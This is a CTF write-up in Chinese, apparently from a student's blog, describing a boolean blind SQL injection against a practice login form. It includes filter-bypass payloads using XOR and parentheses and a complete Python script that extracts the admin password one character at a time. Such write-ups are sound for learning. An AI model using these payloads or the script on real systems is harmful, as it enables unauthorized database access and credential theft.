CTF-WEB 一个登录框SQL盲注

一些师兄给了个平台，最近学了很多SQL注入和编写脚本的知识，跃跃欲试，结果这一做就是漫漫长路，还是很多东西不熟悉啊。

首先找注入点：

 

发现用户名错误和密码错误会分开提示，可以用布尔盲注，(*^▽^*)好高兴。

但是发现，过滤了 空格和 *号，没关系，用括号绕过（这一下搞死我了）

开始尝试编写脚本，结果发现简单的reuqests解析不了

标签下的内容

 没办法   又去学习一下“美丽的汤” Beautifulsoup 解析网页    

首先放上一段测试代码：

# -*- coding:utf-8 -*-
from bs4 import BeautifulSoup
import requests

session = requests.Session()

paramsPost = {"password":"1","username":"admin"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://152.136.63.75:8002/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","DNT":"1","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"PHPSESSID":"f1jb3rhc5ebhv1gf7q943bb413"}
res = session.post("http://152.136.63.75:8002/", data=paramsPost, headers=headers, cookies=cookies)
res.encoding = 'utf-8'
print("Status code:   %i" % res.status_code)
#print("Response body: %s" % response.content)
soup = BeautifulSoup(res.text,'html.parser')
result = soup.find_all(text = '密码错误')
print(result)
print(type(result))

Output： 

 这里可以使用Burp suite 一个插件  Reissue Request Scripter   快速生成reuqests头部 加快写脚本时间

 

之后就是构造语句的环节了，可以在本地上用SQL查看器中去检查自己的命令是否正确，因为括号真的很多，需要不断去尝试

这里也总结了一些教训，可以先用一个记事本，把payload一个一个记下来，把查询的语句和判断语句分开：

#最后拼接的主体部分
admin'^1^(ascii()={})
#substr来确认数据
substr(( ),{},1)
#查询语句
select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database())

#最后每更换一次查询语句再将全部组合起来（这个查列名的语句错到我怀疑人生）
admin'^1^if((select(length(group_concat(column_name))=%d)from(information_schema.columns)where(table_schema)=(database())and(table_name)='admin'),1,0)#

 

在这里要主要爆长度的判断：（这里也是一个易错点）

#一定要将select (length() = '')
select * from users where id =1^if((select(length(group_concat(table_name)) 
 = ' ')from(information_schema.tables)where(table_schema)=(database())),1,0);

#错误语句
select * from users where id =1^if((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema)=(database()) = ' '),1,0);
#无论数字如何最后查出来一定是NULL

判断的位置不一样，结果也不一样，会影响最后结果

 

贴出脚本：

import requests
import string
str = string.ascii_lowercase+string.ascii_uppercase+string.digits+'-{}+='
from bs4 import BeautifulSoup


session = requests.Session()

paramsPost = {"password":1,"username":" "}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://152.136.63.75:8002/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","DNT":"1","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"PHPSESSID":"f1jb3rhc5ebhv1gf7q943bb413"}


def name():
    flag = " "
    for i in range(length()):
        for str1 in str:
            #paramsPost["username"] = "admin'^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=(database())and(table_name)='admin'),{},1))={})#".format (i+1, ord(str1))
            paramsPost["username"] = "admin'^1^(ascii(substr((select(password)from(admin)where(username)='admin'),{},1))={})#".format(i+1, ord(str1))
            print(str1)
            res = session.post ("http://152.136.63.75:8002/", data=paramsPost, headers=headers, cookies=cookies)
            res.encoding = 'utf-8'
            soup = BeautifulSoup (res.text, 'html.parser')
            result = soup.find_all(text='密码错误')
            #print(result)
            if len(result) != 0:
                flag +=str1
                break
        print(flag)
        if(flag[-1] == '}'):
            break
    print(flag)

def length():
    len1 = 0
    for i in range(50):
        #paramsPost['username'] = "admin'^1^if((select(length(group_concat(column_name))=%d)from(information_schema.columns)where(table_schema)=(database())and(table_name)='admin'),1,0)#" % i
        paramsPost['username']="admin'^1^(select(length(password)=%d)from(admin)where(username)='admin')#" % i
        res = session.post ("http://152.136.63.75:8002/", data=paramsPost, headers=headers, cookies=cookies)
        res.encoding = 'utf-8'
        soup = BeautifulSoup (res.text, 'html.parser')
        result = soup.find_all(text='密码错误')
        print(result)
        if len(result) != 0:
            len1 = i
            break
    print(len1)
    return len1

name()

 

一步步报数据，爆出admin的密码是一个MD5值，

最后发现这道题和Bugku的login3有基本一样，但是从头到尾自己做一遍，发现构造语句还是有很多地方不足，SQL盲注这里还有很多练习的。